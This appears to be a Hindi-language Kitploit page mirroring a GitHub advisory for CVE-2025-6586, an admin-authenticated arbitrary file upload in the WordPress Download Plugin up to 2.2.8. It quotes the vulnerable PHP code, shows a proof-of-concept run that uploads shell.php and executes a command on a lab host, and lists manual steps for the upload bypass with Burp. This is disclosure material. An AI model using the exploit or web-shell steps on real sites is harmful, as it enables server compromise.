Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-6586 — Download Plugin <= 2.2.8 - प्रमाणित (व्यवस्थापक+) मनमाना फ़ाइल अपलोड | Kitploit
उपकरण/GitHubGitHub/d0n601/cve-2025-6586
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2025-6586

CVE-2025-6586

Download Plugin <= 2.2.8 - प्रमाणित (व्यवस्थापक+) मनमाना फ़ाइल अपलोड

रिपॉजिटरी देखें
1 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Download Plugin <= 2.2.8 - dpwap_plugin_locInstall फ़ंक्शन के माध्यम से प्रमाणित (एडमिन+) मनमाना फ़ाइल अपलोड

Download Plugin mul_upload एडमिन पेज के माध्यम से उजागर dpwap_plugin_locInstall फ़ंक्शन के फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता है, जिससे व्यवस्थापक या उच्च स्तर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं।

TL;DR एक्सप्लॉइट्स

एक POC cve-2025-6586.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा shell.php नामक वेब शेल अपलोड करने का प्रदर्शन करता है।

root@kitploit:~
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

विवरण

dpwap_plugin_multiple_upload_func फ़ंक्शन mul_upload एडमिन पेज पर उजागर होता है। /wp-content/plugins/download-plugin/app/Plugins/Base.php की पंक्ति 80 पर यह फ़ंक्शन multiple_upload_plugin.php को शामिल करता है।

root@kitploit:~
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}

डिफ़ॉल्ट रूप से $plugin_multiple_upload_file का पूर्ण पथ /wp-content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php होना चाहिए। टेम्पलेट $_POST['dpwap_locInstall'] और $_FILES['dpwap_locFiles']['name'][0] की भी जाँच करेगा। यदि ये मौजूद हैं, तो यह पंक्ति 47 पर HTML फ़ॉर्म बनाने वाले कोड के भीतर $dpwapObj->dpwap_plugin_locInstall(); को कॉल करेगा।

root@kitploit:~
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...

जैसा कि नीचे देखा गया है, /wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php में पंक्ति 300 पर स्थित dpwap_plugin_locInstall फ़ंक्शन अपलोड की गई फ़ाइलों को मूल फ़ाइल नाम और एक्सटेंशन रखते हुए एक वेब-सुलभ निर्देशिका में स्थानांतरित करेगा। उदा.: https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php

root@kitploit:~
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}

मैन्युअल पुनरुत्पादन

  1. एडमिन पैनल में लॉगिन करें और Plugins -> Add Plugin पर जाएँ।
  2. शीर्ष पर Upload Multiple Plugins पर क्लिक करें, यह बटन Download Plugin द्वारा UI में जोड़ा गया है। 0
  3. अब /wp-admin/admin.php?page=mul_upload से, BurpSuite या समान प्रॉक्सी शुरू करें। 1
  4. एक php फ़ाइल लें, और फ्रंट एंड सत्यापन पास करने के लिए उसका एक्सटेंशन zip से बदलें, फिर Install Now पर क्लिक करें। 2
  5. फ़ाइल एक्सटेंशन को वापस php में बदलने के लिए इंटरसेप्ट किए गए अनुरोध को तुरंत या Repeater टैब में संशोधित करें। 3
  6. कोड निष्पादन ट्रिगर करने के लिए नई अपलोड की गई फ़ाइल पर ब्राउज़ करें। 4
टूल डाउनलोड करें